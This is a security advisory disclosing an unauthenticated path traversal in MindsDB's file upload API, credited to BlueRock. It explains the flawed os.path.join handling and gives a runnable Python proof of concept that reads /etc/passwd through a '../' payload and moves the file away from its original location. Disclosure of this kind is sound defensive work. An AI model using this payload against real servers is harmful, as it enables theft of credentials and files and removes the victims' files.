GHSA-qqhf-pm3j-96g7

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

### Summary [BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. ### Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `"url"`: - `data = request.json` (line ~104) accepts attacker input without validation. - `file_path = os.path.join(temp_dir_path, data["file"])` (line ~178) creates the path inside a temporary directory, but if `data["file"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location. - The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage. Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks. ### PoC 1. Run MindsDB in Docker: ```bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest ``` 2. Execute the exploit from the host (save as poc.py and run with `python poc.py`): ```python # poc.py import requests, json base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text) q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) ``` 3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. 4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal ### Impact - Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.